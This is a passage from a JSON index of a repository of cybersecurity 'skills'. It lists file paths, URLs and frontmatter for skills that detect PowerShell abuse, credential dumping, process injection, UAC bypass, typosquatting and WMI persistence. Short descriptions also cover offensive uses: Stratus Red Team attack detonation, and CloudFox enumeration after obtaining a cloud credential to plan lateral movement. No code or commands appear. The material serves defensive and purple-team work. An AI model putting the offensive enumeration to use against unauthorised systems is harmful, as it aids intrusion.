hardening CI/CD pipelines or investigating compromised build systems.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["supply-chain-security","ci-cd-security","github-actions","pipeline-security","dependency-pinning","devsecops"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0010"],"nist_ai_rmf":["GOVERN-5.2","MAP-1.6","MANAGE-2.2"],"nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1195.002","T1195.001","T1199","T1554"]},"isInternal":false,"tokens":643,"sizeBytes":2617},{"name":"api-reference.md","path":"skills/detecting-suspicious-oauth-application-consent/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-suspicious-oauth-application-consent/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-oauth-application-consent%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":658,"sizeBytes":2725},{"name":"SKILL.md","path":"skills/detecting-suspicious-oauth-application-consent/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-suspicious-oauth-application-consent/SKILL.md","title":"detecting-suspicious-oauth-application-consent","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-oauth-application-consent%2FSKILL.md -->","frontmatter":{"name":"detecting-suspicious-oauth-application-consent","description":"Detect risky OAuth application consent grants in Azure AD / Microsoft Entra ID using Microsoft Graph API, audit logs, and permission analysis to identify illicit consent grant attacks.","domain":"cybersecurity","subdomain":"cloud-security","tags":["OAuth","Azure-AD","Entra-ID","Microsoft-Graph","illicit-consent","cloud-security","application-permissions"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1528","T1550.001","T1098.001","T1566.002"]},"isInternal":false,"tokens":518,"sizeBytes":2417},{"name":"template.md","path":"skills/detecting-suspicious-powershell-execution/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-suspicious-powershell-execution/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":726,"sizeBytes":2658},{"name":"api-reference.md","path":"skills/detecting-suspicious-powershell-execution/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-suspicious-powershell-execution/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":652,"sizeBytes":2589},{"name":"standards.md","path":"skills/detecting-suspicious-powershell-execution/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-suspicious-powershell-execution/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":415,"sizeBytes":1593},{"name":"workflows.md","path":"skills/detecting-suspicious-powershell-execution/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-suspicious-powershell-execution/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":635,"sizeBytes":2982},{"name":"SKILL.md","path":"skills/detecting-suspicious-powershell-execution/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-suspicious-powershell-execution/SKILL.md","title":"detecting-suspicious-powershell-execution","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2FSKILL.md -->","frontmatter":{"name":"detecting-suspicious-powershell-execution","description":"Hunt for suspicious PowerShell execution (T1059.001) such as encoded commands, download cradles, AMSI bypass, and constrained language mode evasion using EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint), Sysmon, and SIEM queries (Splunk, Elastic). Use when proactively threat hunting, triaging EDR/SIEM alerts, or scoping an incident involving malicious PowerShell activity.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","powershell","execution","t1059","amsi","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1059.001","T1027.010","T1620","T1105"]},"isInternal":false,"tokens":862,"sizeBytes":3692},{"name":"template.md","path":"skills/detecting-t1003-credential-dumping-with-edr/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1003-credential-dumping-with-edr/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":299,"sizeBytes":1184},{"name":"api-reference.md","path":"skills/detecting-t1003-credential-dumping-with-edr/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1003-credential-dumping-with-edr/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":734,"sizeBytes":2532},{"name":"standards.md","path":"skills/detecting-t1003-credential-dumping-with-edr/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1003-credential-dumping-with-edr/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":584,"sizeBytes":2226},{"name":"workflows.md","path":"skills/detecting-t1003-credential-dumping-with-edr/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1003-credential-dumping-with-edr/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":660,"sizeBytes":2270},{"name":"SKILL.md","path":"skills/detecting-t1003-credential-dumping-with-edr/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1003-credential-dumping-with-edr/SKILL.md","title":"detecting-t1003-credential-dumping-with-edr","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2FSKILL.md -->","frontmatter":{"name":"detecting-t1003-credential-dumping-with-edr","description":"Detect OS credential dumping (MITRE T1003) targeting LSASS memory, the SAM database, NTDS.dit, and cached credentials by correlating EDR telemetry, Sysmon process-access events, and Windows security event logs. Use when hunting for Mimikatz-style credential theft, triaging an EDR alert on LSASS access, or scoping an incident after suspected credential dumping.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","credential-dumping","lsass","mitre-t1003","edr","mimikatz","ntds","sam-database"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Execution Isolation","File Metadata Consistency Validation","Restore Access","Application Protocol Command Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1003.001","T1003.002","T1003.003","T1003.006"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","positioning","initial-access"],"techniques":[{"id":"T1555","name":"Credentials from Password Stores","tactic":"reconnaissance","source":"attack"},{"id":"T1555.003","name":"Credentials from Password Stores: Credentials from Web Browsers","tactic":"reconnaissance","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1931,"sizeBytes":7285},{"name":"template.md","path":"skills/detecting-t1055-process-injection-with-sysmon/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1055-process-injection-with-sysmon/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":243,"sizeBytes":978},{"name":"api-reference.md","path":"skills/detecting-t1055-process-injection-with-sysmon/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1055-process-injection-with-sysmon/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":742,"sizeBytes":2750},{"name":"standards.md","path":"skills/detecting-t1055-process-injection-with-sysmon/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1055-process-injection-with-sysmon/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":803,"sizeBytes":3243},{"name":"workflows.md","path":"skills/detecting-t1055-process-injection-with-sysmon/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1055-process-injection-with-sysmon/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":907,"sizeBytes":3109},{"name":"SKILL.md","path":"skills/detecting-t1055-process-injection-with-sysmon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1055-process-injection-with-sysmon/SKILL.md","title":"detecting-t1055-process-injection-with-sysmon","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2FSKILL.md -->","frontmatter":{"name":"detecting-t1055-process-injection-with-sysmon","description":"Detect process injection techniques (T1055) - including DLL injection, process hollowing, and APC injection - by analyzing Sysmon Event IDs 1, 7, 8, 10, and 25 for cross-process memory operations, remote thread creation, and anomalous DLL loads. Use when hunting defense-evasion activity that hides code inside legitimate processes, investigating an EDR alert on suspicious cross-process access, or validating Sysmon coverage for injection detection.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","process-injection","sysmon","mitre-t1055","defense-evasion","dll-injection","process-hollowing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1055.001","T1055.002","T1055.003","T1055.012"]},"isInternal":false,"tokens":1959,"sizeBytes":7848},{"name":"template.md","path":"skills/detecting-t1548-abuse-elevation-control-mechanism/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1548-abuse-elevation-control-mechanism/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":258,"sizeBytes":1066},{"name":"api-reference.md","path":"skills/detecting-t1548-abuse-elevation-control-mechanism/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1548-abuse-elevation-control-mechanism/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":716,"sizeBytes":2513},{"name":"standards.md","path":"skills/detecting-t1548-abuse-elevation-control-mechanism/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1548-abuse-elevation-control-mechanism/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":544,"sizeBytes":2094},{"name":"workflows.md","path":"skills/detecting-t1548-abuse-elevation-control-mechanism/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1548-abuse-elevation-control-mechanism/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":554,"sizeBytes":1875},{"name":"SKILL.md","path":"skills/detecting-t1548-abuse-elevation-control-mechanism/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-t1548-abuse-elevation-control-mechanism/SKILL.md","title":"detecting-t1548-abuse-elevation-control-mechanism","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2FSKILL.md -->","frontmatter":{"name":"detecting-t1548-abuse-elevation-control-mechanism","description":"Detect abuse of elevation control mechanisms (T1548), including Windows UAC bypass via auto-elevating binaries like fodhelper.exe and Linux sudo/setuid/setgid exploitation, by monitoring registry changes, integrity-level transitions, and parent-child process relationships via Sysmon and Windows Security events. Use when hunting privilege-escalation activity or validating elevation-abuse detection coverage.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","uac-bypass","privilege-escalation","mitre-t1548","elevation-control","windows-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Restore Access","Password Authentication"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1548.002","T1548.001","T1548.003","T1548.004"]},"isInternal":false,"tokens":1461,"sizeBytes":5843},{"name":"api-reference.md","path":"skills/detecting-typosquatting-packages-in-npm-pypi/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-typosquatting-packages-in-npm-pypi/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages-in-npm-pypi%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1330,"sizeBytes":5615},{"name":"SKILL.md","path":"skills/detecting-typosquatting-packages-in-npm-pypi/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-typosquatting-packages-in-npm-pypi/SKILL.md","title":"detecting-typosquatting-packages-in-npm-pypi","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages-in-npm-pypi%2FSKILL.md -->","frontmatter":{"name":"detecting-typosquatting-packages-in-npm-pypi","description":"Detects typosquatting attacks in npm and PyPI package registries by analyzing package name similarity using Levenshtein distance and other string metrics, examining publish date heuristics to identify recently created packages mimicking established ones, and flagging download count anomalies where suspicious packages have disproportionately low usage compared to their legitimate targets. The analyst queries the PyPI JSON API and npm registry API to gather package metadata for automated comparison. Activates for requests involving package typosquatting detection, dependency confusion analysis, malicious package identification, or software supply chain threat hunting in package registries.\n","domain":"cybersecurity","subdomain":"supply-chain-security","tags":["typosquatting","npm","pypi","supply-chain","package-security","Levenshtein","dependency-confusion","malicious-packages"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_csf":["GV.SC-01","GV.SC-03","GV.SC-06","GV.SC-07"],"mitre_attack":["T1195.001","T1195.002","T1608.001","T1554"]},"isInternal":false,"tokens":2951,"sizeBytes":13306},{"name":"api-reference.md","path":"skills/detecting-typosquatting-packages/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-typosquatting-packages/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":570,"sizeBytes":2166},{"name":"standards.md","path":"skills/detecting-typosquatting-packages/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-typosquatting-packages/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":397,"sizeBytes":1582},{"name":"SKILL.md","path":"skills/detecting-typosquatting-packages/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-typosquatting-packages/SKILL.md","title":"detecting-typosquatting-packages","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages%2FSKILL.md -->","frontmatter":{"name":"detecting-typosquatting-packages","description":"Flag misspelled, brandjacked, and typosquatted package names across npm, PyPI, and crates.io before installation, using edit-distance, keyboard-proximity, and known-target corpus matching with typomania, Microsoft OSSGadget's oss-find-squats, and pypi-scan. Use before adding a new dependency, as a CI/CD gate on pull requests, when reviewing an AI-generated (\"slopsquatting\") dependency list, or when auditing a lockfile diff for a swapped package.","domain":"cybersecurity","subdomain":"supply-chain-security","tags":["supply-chain-security","typosquatting","package-registry","npm","pypi","typomania","ossgadget","dependency-screening"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-09"],"mitre_attack":["T1195.002"]},"isInternal":false,"tokens":2993,"sizeBytes":11955},{"name":"api-reference.md","path":"skills/detecting-wmi-persistence/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-wmi-persistence/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-wmi-persistence%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":748,"sizeBytes":2985},{"name":"SKILL.md","path":"skills/detecting-wmi-persistence/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-wmi-persistence/SKILL.md","title":"detecting-wmi-persistence","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-wmi-persistence%2FSKILL.md -->","frontmatter":{"name":"detecting-wmi-persistence","description":"Detect WMI event subscription persistence (MITRE T1546.003) by analyzing Sysmon Event IDs 19, 20, and 21 for malicious EventFilter, EventConsumer, and FilterToConsumerBinding creation, cross-referenced against root\\subscription namespace contents and Sysinternals Autoruns. Use when hunting WMI-based persistence, triaging a Sysmon alert on these event IDs, or during incident response and purple-team validation of WMI defenses.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","wmi","persistence","sysmon","t1546.003","mitre-attack","windows","dfir"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Platform Monitoring"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1546.003","T1047","T1059.001"]},"isInternal":false,"tokens":896,"sizeBytes":3654},{"name":"api-reference.md","path":"skills/emulating-cloud-attacks-with-stratus-red-team/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/emulating-cloud-attacks-with-stratus-red-team/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Femulating-cloud-attacks-with-stratus-red-team%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":580,"sizeBytes":2429},{"name":"standards.md","path":"skills/emulating-cloud-attacks-with-stratus-red-team/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/emulating-cloud-attacks-with-stratus-red-team/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Femulating-cloud-attacks-with-stratus-red-team%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":279,"sizeBytes":1252},{"name":"SKILL.md","path":"skills/emulating-cloud-attacks-with-stratus-red-team/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/emulating-cloud-attacks-with-stratus-red-team/SKILL.md","title":"emulating-cloud-attacks-with-stratus-red-team","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Femulating-cloud-attacks-with-stratus-red-team%2FSKILL.md -->","frontmatter":{"name":"emulating-cloud-attacks-with-stratus-red-team","description":"Install and run Stratus Red Team to detonate granular, MITRE ATT&CK-mapped AWS, Azure, GCP, and Kubernetes attack techniques through their warmup-detonate-revert-cleanup lifecycle, then verify the telemetry they generate. Use to validate that cloud detections (CloudTrail, GuardDuty, Microsoft Sentinel, GCP SCC, Falco) actually fire, or to run a repeatable purple-team exercise generating realistic attacker telemetry.","domain":"cybersecurity","subdomain":"cloud-security","tags":["stratus-red-team","adversary-emulation","cloud-security","detection-validation","purple-team","aws","mitre-attack","threat-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1078"]},"isInternal":false,"tokens":2593,"sizeBytes":11318},{"name":"api-reference.md","path":"skills/enumerating-cloud-with-cloudfox/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/enumerating-cloud-with-cloudfox/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fenumerating-cloud-with-cloudfox%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":478,"sizeBytes":1926},{"name":"standards.md","path":"skills/enumerating-cloud-with-cloudfox/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/enumerating-cloud-with-cloudfox/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fenumerating-cloud-with-cloudfox%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":260,"sizeBytes":1106},{"name":"SKILL.md","path":"skills/enumerating-cloud-with-cloudfox/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/enumerating-cloud-with-cloudfox/SKILL.md","title":"enumerating-cloud-with-cloudfox","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fenumerating-cloud-with-cloudfox%2FSKILL.md -->","frontmatter":{"name":"enumerating-cloud-with-cloudfox","description":"Run CloudFox's read-only Describe/List/Get enumeration (all-checks, role-trusts, secrets, endpoints, and permissions commands) to map AWS and Azure attack paths and surface exploitable misconfigurations. Use immediately after obtaining a cloud credential to build situational awareness, find exposed resources and secrets, or map sts:AssumeRole trust relationships for lateral-movement/privilege-escalation planning.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloudfox","aws","azure","cloud-pentest","attack-paths","situational-awareness","enumeration","offensive-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.AM-03"],"mitre_attack":["T1526"]},"isInternal":false,"tokens":2255,"sizeBytes":9790},{"name":"template.md","path":"skills/eradicating-malware-from-infected-systems/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/eradicating-malware-from-infected-systems/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":468,"sizeBytes":1880},{"name":"api-reference.md","path":"skills/eradicating-malware-from-infected-systems/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/eradicating-malware-from-infected-systems/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":618,"sizeBytes":2078},{"name":"standards.md","path":"skills/eradicating-malware-from-infected-systems/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/eradicating-malware-from-infected-systems/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":704,"sizeBytes":2859},{"name":"workflows.md","path":"skills/eradicating-malware-from-infected-systems/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/eradicating-malware-from-infected-systems/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":927,"sizeBytes":3910},{"name":"SKILL.md","path":"skills/eradicating-malware-from-infected-systems/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/eradicating-malware-from-infected-systems/SKILL.md","title":"eradicating-malware-from-infected-systems","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2FSKILL.md -->","frontmatter":{"name":"eradicating-malware-from-infected-systems","description":"Systematically map and remove malware, backdoors, and attacker persistence mechanisms (registry Run keys, scheduled tasks, WMI subscriptions, services, cron/init.d) from infected Windows and Linux systems using Autoruns, EDR/AV, and YARA, restoring a clean state while preventing re-infection. Use after containment and forensic analysis have identified all compromised systems 